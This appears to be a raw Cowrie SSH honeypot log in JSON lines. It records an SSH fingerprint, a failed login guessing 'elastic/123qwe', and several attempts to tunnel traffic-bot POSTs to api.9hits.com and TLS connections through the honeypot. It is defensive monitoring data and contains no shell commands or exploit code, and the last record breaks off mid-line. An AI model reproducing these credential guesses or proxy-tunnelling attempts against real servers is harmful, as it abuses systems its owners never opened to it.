{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:03.597382Z","src_ip":"91.92.40.36","session":"9636b499e361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123qwe","message":"login attempt [elastic/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:04.125348Z","src_ip":"91.92.40.36","session":"b77634535005","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:05.910390Z","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:05.913412Z","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:05.973515Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_2; rv:77.0) Gecko/20100101 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1188\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KVpZaHE3IzllK2xHUS9KTQ%3D%3DNdCEDmUgA%2BRkKiT5ruemVTgZxvt2cnY4kgkefGxMG%2B48hi%2BSNk98qlx1kdAv%2BeOGp3zRXaErWi8nb3aJ1Xi%2Bbrr%2B9bUeAV3eLA0FoqwAKzg%2BGDAw%2Ft%2FJiuL1ouF5iugkQBId4%2Fsebb1yB351nxeL9yOgr5MpQiXziueF2Ewfh9ZKXa%2BBl8qPMFze4R1MF78YSfywFokVuGn9cRJv5P1nUP0xmu6eVQ2NdvGhE3osZe6LANE2gvuo2LcS1uUDWjqhlSgByMkN0TpWsakMVEPaclV8AAUSBiS8qoJOwzZbv6nalPzGlmPIGDUGwUVQVsjOQtyxE0EwCTqfQLXMxnbLjJhbF9S4YOJSQWeyn1RjtRgf5%2BP%2F%2Fqwl3ZV1Yz%2FQWTHHFec7yzYxScLDX18ryIHGjP5YSnXdU4Trwv9QTgMTi2nqDckfFLjYXL8N%2F9eUEogaLdsB75yAB52LxfB1u2p2czeaxSo71DyscVzryfoQHXM3XgiemsLQfruDYrg6B45DPIoiBziqpal21FwFt%2BQYXoWYOwMejgo%2F1WvhsG6pueMgJ1Ecoh2J6YmwIrWwew6NlaA90qiE%2BPOKn9yoSX1a71QSWmSwhbdL%2FDWbfSJuB9J91nm2DwJFTnsh2zVY9pGTLqUKrgSBCOix9AmaCE9yjK6muAVJTju40aEsmUVjldqBBgfCZHDgN06ZwY2Q7PTk%2BcfKBMM%2Fz06MU8mEweDVtd22zHfR0qR9Y8Iit35mpWGFQ%2FsO28utKDM1hlWpE9ngCjOVLGXfU80SL7WUULXGy64rVDvngyTeDXXXwgnViTgtXNiuuEDqtfoJOPXMe1i%2FgqgAh%2FO6%2Fs6AwQFuvT3EgYZeiXOMpVaBL031rQPu5meW1PVEB8BBcPOYs2yz%2FBAX6%2BwXlbm35X%2FrO5G7wsfJaWur30d23zJvBHlG84YlkUsUpjjqYgifcTs9xAEvSKo4tx%2Fx%2BgVTE3bXHHgq577XZxwVYjWnOrpP2CqI6Gvq6UG8MA9ceLZluI1UPfY53AqzSuA4TKAtuNDLP%2BzvTouPp2wdM%2B%2FExnftpQj1YD6a0zcdyuX%2BQTZS8qMirZNEW0Ut'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_2; rv:77.0) Gecko/20100101 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1188\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KVpZaHE3IzllK2xHUS9KTQ%3D%3DNdCEDmUgA%2BRkKiT5ruemVTgZxvt2cnY4kgkefGxMG%2B48hi%2BSNk98qlx1kdAv%2BeOGp3zRXaErWi8nb3aJ1Xi%2Bbrr%2B9bUeAV3eLA0FoqwAKzg%2BGDAw%2Ft%2FJiuL1ouF5iugkQBId4%2Fsebb1yB351nxeL9yOgr5MpQiXziueF2Ewfh9ZKXa%2BBl8qPMFze4R1MF78YSfywFokVuGn9cRJv5P1nUP0xmu6eVQ2NdvGhE3osZe6LANE2gvuo2LcS1uUDWjqhlSgByMkN0TpWsakMVEPaclV8AAUSBiS8qoJOwzZbv6nalPzGlmPIGDUGwUVQVsjOQtyxE0EwCTqfQLXMxnbLjJhbF9S4YOJSQWeyn1RjtRgf5%2BP%2F%2Fqwl3ZV1Yz%2FQWTHHFec7yzYxScLDX18ryIHGjP5YSnXdU4Trwv9QTgMTi2nqDckfFLjYXL8N%2F9eUEogaLdsB75yAB52LxfB1u2p2czeaxSo71DyscVzryfoQHXM3XgiemsLQfruDYrg6B45DPIoiBziqpal21FwFt%2BQYXoWYOwMejgo%2F1WvhsG6pueMgJ1Ecoh2J6YmwIrWwew6NlaA90qiE%2BPOKn9yoSX1a71QSWmSwhbdL%2FDWbfSJuB9J91nm2DwJFTnsh2zVY9pGTLqUKrgSBCOix9AmaCE9yjK6muAVJTju40aEsmUVjldqBBgfCZHDgN06ZwY2Q7PTk%2BcfKBMM%2Fz06MU8mEweDVtd22zHfR0qR9Y8Iit35mpWGFQ%2FsO28utKDM1hlWpE9ngCjOVLGXfU80SL7WUULXGy64rVDvngyTeDXXXwgnViTgtXNiuuEDqtfoJOPXMe1i%2FgqgAh%2FO6%2Fs6AwQFuvT3EgYZeiXOMpVaBL031rQPu5meW1PVEB8BBcPOYs2yz%2FBAX6%2BwXlbm35X%2FrO5G7wsfJaWur30d23zJvBHlG84YlkUsUpjjqYgifcTs9xAEvSKo4tx%2Fx%2BgVTE3bXHHgq577XZxwVYjWnOrpP2CqI6Gvq6UG8MA9ceLZluI1UPfY53AqzSuA4TKAtuNDLP%2BzvTouPp2wdM%2B%2FExnftpQj1YD6a0zcdyuX%2BQTZS8qMirZNEW0Ut'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:05.976185Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:05.981748Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e\\xcc\\xb9Q\\xf1-\\x8b\\x05:(a\\r\\xa9eH\"\\xe1\\x08\\x88\\x95\\xf9\\xff\\x14.\\xf71\\xfd\\xdc\\xb9\\x7f+\\x18 BkJ9\\x00\\x9c\\xb4\\xab\\x1dp\\x1ec3g\\xf6\\x06X\\x17\\xf9\\x01\\xa2\\xa3N\\xcb\\xc1\\x88\\xa7\\xcd\\x7fo9}\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 {\\xa4\\x08\\x86\\xcbA\\xe9_\\x08c\\xd5=\\xcbx\\x01\\xb9\\xa8\\xe6CWa3p\\x07\\xb3\\xe7\\xef\\x1dV\\x1a\\xbcj\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e\\xcc\\xb9Q\\xf1-\\x8b\\x05:(a\\r\\xa9eH\"\\xe1\\x08\\x88\\x95\\xf9\\xff\\x14.\\xf71\\xfd\\xdc\\xb9\\x7f+\\x18 BkJ9\\x00\\x9c\\xb4\\xab\\x1dp\\x1ec3g\\xf6\\x06X\\x17\\xf9\\x01\\xa2\\xa3N\\xcb\\xc1\\x88\\xa7\\xcd\\x7fo9}\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 {\\xa4\\x08\\x86\\xcbA\\xe9_\\x08c\\xd5=\\xcbx\\x01\\xb9\\xa8\\xe6CWa3p\\x07\\xb3\\xe7\\xef\\x1dV\\x1a\\xbcj\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:05.984584Z","src_ip":"173.208.188.210","session":"7c65dbacbdb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.333983Z","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.338068Z","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.404364Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MAR-L03A Build/HUAWEIMAR-L03A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=R0klZnhsJkF9UUNmaiVNVA%3D%3DNe8Y46Mo6hWmYW3EwLSqOORjjmhM0PfRHbJNeWZKOvtjeoPxDF8mS0qF1UitnztrQzAFQDxxjbvLpknqjGNJFT68EI%2FYve2AJTMmCRy5GxunYGUsixdnSvk4iilrYJd3idHn02BsI%2F21twnX%2FRFlKekWPd0X1kKbk%2BoBc81nmbzYX2F07BdxmjCB%2F2PK2HLKoYg6sMtmPM5jhZu6kKjgS8ETvnj%2FYBzYvMLYB8xYuZe4CjB0uR%2BXkYhm7quoDlcLd7ApJhpOeK8%2Bx4XcxzczmDDhh9ijFO1XSoX8%2FHCxqR7kED%2B7lE1zQw5xEKwg6kpVc7rtv88sxhRdBSUOe6rYir7%2B1jhIp8G91BaqdHjcTIXgbgk3UJ7Euv9rJzPRn6uYeg8EIiF1Ik%2F0Yh75vHQgkGoTuqsJc95N1AspjcewjzPMM%2FDpzgYCMpqIXnuw4gfv895n7p30xyYmnDgnnNkzrF0gJHA7GZpujHb2l5SbhE1UoRJ4EZbDdUcGBOzZZkX%2BZ1dBFIA3Wxn%2B8X9OAasFtpLuB90BIf2IS9CnTH4s7%2BgUe5tbeglT%2Fi4uJag%2BgPOUG1JOg8Agb7%2BapoyMX0lMxoM17NKPCZEz2MPc5rYdG4O1X5%2FykgJSeMhY9hFMRBA2dFDLgbm2m0wsWbdAtCYAF%2BJoVTpIarKd6i%2BFsECLCZ%2FsZCCP5c7AYOZYP5S5yUtIbQHHsvk27tvsaKeI4LZzoHInln%2FxCnzwxv4%2Bx66UHX6T7EzLtKYWv8jANrLyt8BF1BkwsHSvARmKjeec1He6QLG0pTDI%2BPgbwQ9Jc5Lhgr16DrJT81mH9f%2BuVO90vT3znYm5wfUwx%2BsRAAFpas5tFJF1XosCoGlweWxCLigMl1YXsvJf1ikaYbWgdmHIJUsRYGFQZeNH963T8SUaPTFqGg8cGrCuO0XX7rkn%2FaWpcTKLibMOHqPnTPcxDBjCXKZk4Co5hUG%2FVIsWAJIdVWmF1bqMdb7DTRCLM2CYXyyTMc%2BYuU6UQG6X4nAqFqYhT3%2Fm8Id4wgvhAqwxu%2BmyRBB3ON3W6K0qH2gG8q2snAGm8axcv7by46y3Q0Sr%2Bxw7sXYR'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MAR-L03A Build/HUAWEIMAR-L03A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=R0klZnhsJkF9UUNmaiVNVA%3D%3DNe8Y46Mo6hWmYW3EwLSqOORjjmhM0PfRHbJNeWZKOvtjeoPxDF8mS0qF1UitnztrQzAFQDxxjbvLpknqjGNJFT68EI%2FYve2AJTMmCRy5GxunYGUsixdnSvk4iilrYJd3idHn02BsI%2F21twnX%2FRFlKekWPd0X1kKbk%2BoBc81nmbzYX2F07BdxmjCB%2F2PK2HLKoYg6sMtmPM5jhZu6kKjgS8ETvnj%2FYBzYvMLYB8xYuZe4CjB0uR%2BXkYhm7quoDlcLd7ApJhpOeK8%2Bx4XcxzczmDDhh9ijFO1XSoX8%2FHCxqR7kED%2B7lE1zQw5xEKwg6kpVc7rtv88sxhRdBSUOe6rYir7%2B1jhIp8G91BaqdHjcTIXgbgk3UJ7Euv9rJzPRn6uYeg8EIiF1Ik%2F0Yh75vHQgkGoTuqsJc95N1AspjcewjzPMM%2FDpzgYCMpqIXnuw4gfv895n7p30xyYmnDgnnNkzrF0gJHA7GZpujHb2l5SbhE1UoRJ4EZbDdUcGBOzZZkX%2BZ1dBFIA3Wxn%2B8X9OAasFtpLuB90BIf2IS9CnTH4s7%2BgUe5tbeglT%2Fi4uJag%2BgPOUG1JOg8Agb7%2BapoyMX0lMxoM17NKPCZEz2MPc5rYdG4O1X5%2FykgJSeMhY9hFMRBA2dFDLgbm2m0wsWbdAtCYAF%2BJoVTpIarKd6i%2BFsECLCZ%2FsZCCP5c7AYOZYP5S5yUtIbQHHsvk27tvsaKeI4LZzoHInln%2FxCnzwxv4%2Bx66UHX6T7EzLtKYWv8jANrLyt8BF1BkwsHSvARmKjeec1He6QLG0pTDI%2BPgbwQ9Jc5Lhgr16DrJT81mH9f%2BuVO90vT3znYm5wfUwx%2BsRAAFpas5tFJF1XosCoGlweWxCLigMl1YXsvJf1ikaYbWgdmHIJUsRYGFQZeNH963T8SUaPTFqGg8cGrCuO0XX7rkn%2FaWpcTKLibMOHqPnTPcxDBjCXKZk4Co5hUG%2FVIsWAJIdVWmF1bqMdb7DTRCLM2CYXyyTMc%2BYuU6UQG6X4nAqFqYhT3%2Fm8Id4wgvhAqwxu%2BmyRBB3ON3W6K0qH2gG8q2snAGm8axcv7by46y3Q0Sr%2Bxw7sXYR'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.406857Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:06.411292Z","src_ip":"23.175.50.51","session":"369f0ff9560b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94\\xa7w\\x84(\\xb2\\xcc\\xa2n\\xc3~\\x8ac\\xf1|\\x16\\x9b\\\\\\xd4\\x1evdr\\xabd\\xe0IT\\xb8\\x8eL\\x92 d?\\xb2\\xdb\\x04<o\\xdbp=/\\xbd\\xf50\\xc9CZ:\\x10\\xc3\\xb3GW5<\\x12\\xbc$\\x00`]\\xef\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xba\\xb2p\\xc99\\xb0A\\x8b;\\x1e\\xb3\\xc5Fg8\\xa5\\x9c6\\xeaDe\\xb3\\x03\\x9fKsQL\\xc8\\xec@\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 